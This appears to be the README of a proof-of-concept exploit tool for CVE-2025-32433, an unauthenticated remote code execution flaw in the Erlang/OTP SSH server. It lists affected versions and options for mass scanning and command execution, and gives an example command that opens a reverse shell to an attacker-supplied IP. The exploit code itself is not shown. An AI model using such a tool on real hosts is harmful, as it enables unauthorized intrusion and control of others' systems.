CVE-2025-32433-Erlang-OTP-SSH-RCE-PoC

The vulnerability allows an attacker with network access to an Erlang/OTP SSH server to execute arbitrary code without prior authentication.

Description

A serious vulnerability has been identified in the Erlang/OTP SSH server that may allow an attacker to perform unauthenticated remote code execution (RCE). By exploiting a flaw in SSH protocol message handling, a malicious actor could gain unauthorized access to affected systems and execute arbitrary commands without valid credentials. This could lead to compromise of said hosts, allowing for unauthorized access to and manipulation of sensitive data by third parties, or denial-of-service attacks.

Affected Versions

OTP-27.3.2 and earlier
OTP-26.2.5.10 and earlier
OTP-25.3.2.19 and earlier

Features

• Vulnerability Check: Determine if a target is vulnerable to CVE-2025-32433.
• Exploit Execution: Execute arbitrary commands.
• Reverse Shell: Initiate a bash-based reverse shell.

Usage

python cve-2025-32433.py <host> [options]

Options:

-p PORT, --port PORT: SSH port (default: 22)

-t TIMEOUT, --timeout TIMEOUT: Connection timeout in seconds (default: 5)

-c COMMAND, --command COMMAND: Custom command to execute

--check: Check if the target is vulnerable

-u urls.txt, --urlfile urls.txt: File containing list of hosts to scan (one per line)

-o output.txt, --output output.txt: Output file to store results.

--shell: Launch a reverse shell

--lhost LHOST: Attacker's IP for reverse shell

--lport LPORT: Attacker's port for reverse shell (default: 4444)

Examples:

Check vulnerability:

python cve-2025-32433.py 127.0.0.1 --check

Execute a command:

python cve-2025-32433.py 127.0.0.1 -c 'cat pwned.txt'

Initiate a reverse shell:

python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444

References

GitHub Advisory

NVD CVE-2025-32433

Platform Security